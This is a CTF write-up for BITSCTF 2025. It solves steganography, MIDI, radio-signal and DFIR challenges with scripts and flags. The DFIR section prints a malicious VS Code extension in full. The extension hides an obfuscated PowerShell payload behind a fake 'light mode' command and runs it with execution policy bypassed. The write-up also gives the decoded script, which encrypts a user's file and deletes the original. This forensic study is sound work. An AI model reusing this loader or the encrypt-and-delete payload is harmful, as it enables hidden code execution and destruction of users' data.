I participated in BITSCTF 2025, organized by Bitskrieg. Here are the Writeups of some Forensics, RF and DFIR challenges I was personally able to solve during the competition.

Forensics

Finders Keepers

Challenge Description

Another simple steganography challenge where we are initially given a .png file.

Solution

The given png has a .jpeg and a .wav file embedded in itself which we can find by the hex analysis and then extract the file using byte scraping to get the following two files.

Image
Audio

The audio file on opening in audacity immediately shows the profile of a morse code so we use this online tool (https://morsecode.world/international/decoder/audio-decoder-adaptive.html) to decode the morse code and get its message as snooooooppppppp, which happens to be the steghide passphrase for the extracted jpeg file and it gives us our flag.

Audacity

Flag:

1
BITSCTF{1_4m_5l33py_1256AE76}

AutoBots Unite!

Challenge Description

We are given a chall.dwg file with following description: “Mr. Douglas Adams is so sick and tired of old people using the same encryption methods again and again.”

Solution

Inital searches reveal that a .dwg file is a 2D or 3D drawing created with Autodesk AutoCAD so we can open the file in AutoDesk Online here (https://viewer.autodesk.com/designviews). On opening the file here we get a really absurd looking image of some sort of barcode.

Chall.dwg

Initially I tried various different approaches of finding some differences in the lines color shades or the inter-line distances but at the end it turned out that the flag was embedded in the lengths of the lines. All lines had lengths of type 42.xxx or 43.xxx so if we do round((length-42)*100) we get ASCII codes which on decoding initially gives some garbish but eventually reveals our flag.

Flag:

1
BITSCTF{b4rc0d3s_4r3_0v3r4t3d_4sf_h3h3_0k1md0n3}

Symphonies

Challenge Description

We are presented with a midi file (though corrupted) and our target is to decode its message.

Solution

Inital searches reveal that a .midi file varies from MP3 or WAV files as it is not a waveform. This means that it inherently produces no audio signal. MIDI files contain messages that communicate to software instruments (or connected hardware gear) what to play. These messages include:

Note-on/off: Note on signifies the start of a specific keyboard note; note-off signifies the end of a note.
Velocity value: High values lead to a louder volume for that note as well as possible articulation differences; low values lead to lower volumes for the note.
Pitch bend: Controls pitch alterations up or down a semitone (often linked to pitch bend wheels).

Original Hex

Initially the magic bytes of the given file are corrupted which we can quickly fix to the correct bytes 4D 54 68 64 to fix the .midi file which we can now load in (https://signal.vercel.app/edit) for its visualisation.

Midi file

Immediately what catches our eye is all the velocities lie below 127 so these may represent an ASCII code so we write the following code to get and decode both the file’s velocites and the notes which then because are 2 strings of similar lengths we try to XOR them as our first option and that just happends to be the correct solution to get our flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import mido

midi = mido.MidiFile('Demo2.midi')
velocities = ''
notes=''
for msg in midi:
if not msg.is_meta and msg.type == 'note_on':
velocities = velocities + chr(msg.velocity)
notes = notes + chr(msg.note)

notes = list(map(int,notes.split()))
notes = notes[:len(velocities)]

result = ''.join(chr(a ^ ord(b)) for a, b in zip(notes, velocities))
print(result.encode())

Flag:

1
BITSCTF{y0u_7h0u6h7_y0u_c0uld_6u355_7h15?!_qrtd434}

Hardware/RF

%ulation

Challenge Description

We are given a complex signal file in this challenge and the name obviously hint to some sort of modulation of the signal is involved.

Solution

Fairly straight forward challenge where all we had to do was open the file in Universal Radio Hacker (https://github.com/jopohl/urh) and it does all the job for us and immediately spit out the flag.

Given Signal

Flag:

1
BITSCTF{A_br13f_4nd_g3ntl3_1ntr0duc710n_70_r4di0_h4ck1ng_c5c33558}

Old Skool

Challenge Description

We are given a .iq file with the following description:
“I remember my father talking about those old age radios and how they work. Pretty cool if you ask me. Also he told me about a radio channel which had a frequency between 1500-1599khz from PHILIPPINES.

Note: Sampling Rate for the file is 24kHz”

Solution

We are given a .iq file, which are standard RF signal files wherein the Sampling rate of given file being 24 khz and the freq range of the radio channel used to transmit being of range 1500-1599 kHz immediately tells its a challenge of Frequency Modulation or downsampling. Now being an ECE student I decided to do signal analysis using MATLAB just to be old school and justify the challenge name.

The process I followed was to first read the iq and interpret it as complex signals that they are I+jQ where I is the In-phase component and Q is the Quadrature-phase component. Then perform signal mixing to make it baseband and remove the DC components. Finally add a band-pass (butterworth) filter on top.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
clc; clear; close all;
filename = '\modulated.iq';
fs = 24000;

fid = fopen(filename, 'rb');
raw_data = fread(fid, 'float32');

iq_data = complex(raw_data(1:2:end), raw_data(2:2:end));
t = (0:length(iq_data)-1) / fs;
f_station = 1566000;
shifted_signal = iq_data .* exp(-1j * 2 * pi * f_station * t.');

am_signal = abs(shifted_signal);
am_signal = am_signal - mean(am_signal);
am_signal = am_signal / max(abs(am_signal));

fc = 5000;
[b, a] = butter(5, fc/(fs/2));
filtered_audio = filter(b, a, am_signal);

audiowrite('radio_audio.wav', filtered_audio, fs);
sound(filtered_audio, fs);

Extracted Audio

Flag:

1
BITSCTF{welcome_to_our_radio_enjoy_our_song_collection}

DFIR

ViruS Camp 1

Challenge Description

We are given an artifact file dimp.ad1 and the description says to decode the encrypted flag file.

Solution

On initial analysis of the given artifacts file in FTK Imager we find a peculiar file extension.js which appears to be the malware in question responsible for flag encryption. So the challenge was basically around a malicious extension of VS-Code which encrypted the user’s flag image which was to be decoded. Given below is the extension.js.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
var desc = Object.getOwnPropertyDescriptor(m, k);
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
desc = { enumerable: true, get: function() { return m[k]; } };
}
Object.defineProperty(o, k2, desc);
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || (function () {
var ownKeys = function(o) {
ownKeys = Object.getOwnPropertyNames || function (o) {
var ar = [];
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
return ar;
};
return ownKeys(o);
};
return function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
__setModuleDefault(result, mod);
return result;
};
})();
Object.defineProperty(exports, "__esModule", { value: true });
exports.activate = activate;
exports.deactivate = deactivate;
const vscode = __importStar(require("vscode"));
const child_process_1 = require("child_process");
const fs = __importStar(require("fs"));
function activate(context) {
const command = vscode.commands.registerCommand("rs", () => {
const scriptContent = `$wy7qIGPnm36HpvjrL2TMUaRbz = "K0QZjJ3bG1CIlxWaGRXdw5WakASblRXStUmdv1WZSpQDK0QKoU2cvx2Qu0WYlJHdTRXdvRiCNkCKlN3bsNkLtFWZyR3UvRHc5J3YkoQDK0QKos2YvxmQsFmbpZEazVHbG5SbhVmc0N1b0BXeyNGJK0QKoR3ZuVGTuMXZ0lnQulWYsBHJgwCMgwyclRXeC5WahxGckgSZ0lmcX5SbhVmc0N1b0BXeyNGJK0gCNkSZ0lmcXpjOdVGZv1UbhVmc0N1b0BXeyNkL5hGchJ3ZvRHc5J3QukHdpJXdjV2Uu0WZ0NXeTtFIsI3b0BXeyNmblRCIs0WYlJHdTRXdvRCKtFWZyR3UvRHc5J3QukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5NFI0NWZqJ2TtcXZOBSPg0WYlJHdT9GdwlncjRiCNkSZ0FWZyNkO60VZk9WTlxWaG5yTJ5SblR3c5N1WgwSZslmR0VHc0V3bkgSbhVmc0NVZslmRu8USu0WZ0NXeTBCdjVmai9UL3VmTg0DItFWZyR3U0V3bkoQDK0QKlxWaGRXdw5WakgyclRXeCxGbBRWYlJlO60VZslmRu8USu0WZ0NXeTtFI9AyclRXeC5WahxGckoQDK0QKoI3b0BXeyNmbFVGdhVmcD5yclFGJg0DIy9Gdwlncj5WZkoQDK0wNTN0SQpjOdVGZv10ZulGZkFGUukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1Wg0DIn5WakRWYQ5yclFGJK0wQCNkO60VZk9WTyVGawl2QukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1Wg0DIlR2bN5yclFGJK0gdpRCI9AiVJ5yclFGJK0QeltGJg0DI5V2SuMXZhRiCNkCKlRXYlJ3Q6oTXzVWQukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1Wg0DIzVWYkoQDK0gIj5WZucWYsZGXcB3b0t2clREXcJXZzVHevJmdcx1cyV2cVxFX6MkIg0DIlxWaGRXdwRXdvRiCNIyZuBnLnFGbmxFXw9GdrNXZExFXyV2c1h3biZHXcNnclNXVcxlODJCI9ASZslmR0VHculGJK0gCNkSZ6l2U2lGJoMXZ0lnQ0V2RuMXZ0lnQlZXayVGZkASPgYXakoQDpUmepNVeltGJoMXZ0lnQ0V2RuMXZ0lnQlZXayVGZkASPgkXZrRiCNkycu9Wa0FmclRXakACL0xWYzRCIsQmcvd3czFGckgyclRXeCVmdpJXZEhTO4IzYmJlL5hGchJ3ZvRHc5J3QukHdpJXdjV2Uu0WZ0NXeTBCdjVmai9UL3VmTg0DIzVGd5JUZ2lmclRGJK0gCNAiNxASPgUmepNldpRiCNACIgIzMg0DIlpXaTlXZrRiCNADMwATMg0DIz52bpRXYyVGdpRiCNkCOwgHMscDM4BDL2ADewwSNwgHMsQDM4BDLzADewwiMwgHMsEDM4BDKd11WlRXeCtFI9ACdsF2ckoQDiQmcwc3czRDU0NjcjNzU51kIg0DIkJ3b3N3chBHJ" ;
$9U5RgiwHSYtbsoLuD3Vf6 = $wy7qIGPnm36HpvjrL2TMUaRbz.ToCharArray() ; [array]::Reverse($9U5RgiwHSYtbsoLuD3Vf6) ; -join $9U5RgiwHSYtbsoLuD3Vf6 2>&1> $null ;
$FHG7xpKlVqaDNgu1c2Utw = [systeM.tEXT.ENCODIng]::uTf8.geTStRInG([sYsTeM.CoNVeRt]::FROMBase64StRIng("$9U5RgiwHSYtbsoLuD3Vf6")) ;
$9ozWfHXdm8eIBYru = "InV"+"okE"+"-ex"+"prE"+"SsI"+"ON" ; new-aliaS -Name PwN -ValUe $9ozWfHXdm8eIBYru -fOrce ; pwn $FHG7xpKlVqaDNgu1c2Utw ;`;
const scriptPath = `C:\\Users\\vboxuser\\AppData\\Local\\Temp\\temp0001`;
try {
fs.writeFileSync(scriptPath, scriptContent);
vscode.window.showInformationMessage(`The light mode will activate in a few minutes.`);
}
catch (error) {
vscode.window.showErrorMessage(`Error activating light mode.`);
}
(0, child_process_1.exec)(`powershell.exe -ExecutionPolicy Bypass -File "${scriptPath}"`, (error, stdout, stderr) => {
if (error) {
console.error(`Error: ${error.message}`);
}
if (stderr) {
console.error(`Stderr: ${stderr}`);
}
console.log(`Stdout: ${stdout}`);
});
});
context.subscriptions.push(command);
}
// VGhlIDFzdCBmbGFnIGlzOiBCSVRTQ1RGe0gwd19jNG5fdlNfYzBkM19sM3RfeTB1X3B1Ymwxc2hfbTRsMWNpb3VzX2V4NzNuc2kwbnNfU09fZWFzaWx5Pz9fNWE3YjMzNmN9
function deactivate() { }
//# sourceMappingURL=extension.js.map

The first flag was fairly staright forward it was just b64 encoded and commented in the end of the above code so we got out first flag.

1
2
$ echo "VGhlIDFzdCBmbGFnIGlzOiBCSVRTQ1RGe0gwd19jNG5fdlNfYzBkM19sM3RfeTB1X3B1Ymwxc2hfbTRsMWNpb3VzX2V4NzNuc2kwbnNfU09fZWFzaWx5Pz9fNWE3YjMzNmN9" | base64 -d
The 1st flag is: BITSCTF{H0w_c4n_vS_c0d3_l3t_y0u_publ1sh_m4l1cious_ex73nsi0ns_SO_easily??_5a7b336c}

Flag:

1
BITSCTF{H0w_c4n_vS_c0d3_l3t_y0u_publ1sh_m4l1cious_ex73nsi0ns_SO_easily??_5a7b336c}

ViruS Camp 2

Challenge Description

Follow up to the first challenge wherein now we need to decode the encryption methodology and decode the flag.enc we get from the same .ad1 file.

Solution

On simple deobfuscation of the extension we get that it executed the following powershell script for the encryption.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$password = "MyS3cr3tP4ssw0rd"
$salt = [Byte[]](0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08)
$iterations = 10000
$keySize = 32
$ivSize = 16

$deriveBytes = New-Object System.Security.Cryptography.Rfc2898DeriveBytes($password, $salt, $iterations)
$key = $deriveBytes.GetBytes($keySize)
$iv = $deriveBytes.GetBytes($ivSize)

$inputFile = "C:\\Users\\vboxuser\\Desktop\\flag.png"
$outputFile = "C:\\Users\\vboxuser\\Desktop\\flag.enc"

$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Key = $key
$aes.IV = $iv
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7

$encryptor = $aes.CreateEncryptor()

$plainBytes = [System.IO.File]::ReadAllBytes($inputFile)

$outStream = New-Object System.IO.FileStream($outputFile, [System.IO.FileMode]::Create)
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($outStream, $encryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)

$cryptoStream.Write($plainBytes, 0, $plainBytes.Length)
$cryptoStream.FlushFinalBlock()

$cryptoStream.Close()
$outStream.Close()

Remove-Item $inputFile -Force

So we write a reversing script in order to decode the flag.enc and get back the flag.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import hashlib
import os
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2

password = "MyS3cr3tP4ssw0rd".encode()
salt = bytes([0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08])
iterations = 10000
key_size = 32
iv_size = 16

key_iv = PBKDF2(password, salt, dkLen=key_size + iv_size, count=iterations)
key = key_iv[:key_size]
iv = key_iv[key_size:key_size + iv_size]

input_file = "flag.enc"
output_file = "flag.png"

with open(input_file, "rb") as f:
encrypted_data = f.read()

cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_data = cipher.decrypt(encrypted_data)
pad_len = decrypted_data[-1]
decrypted_data = decrypted_data[:-pad_len]

with open(output_file, "wb") as f:
f.write(decrypted_data)

print(f"Decryption successful: {output_file} restored.")

Restored image

Flag:

1
BITSCTF{h0pe_y0u_enj0yed_th1s_145e3f1a}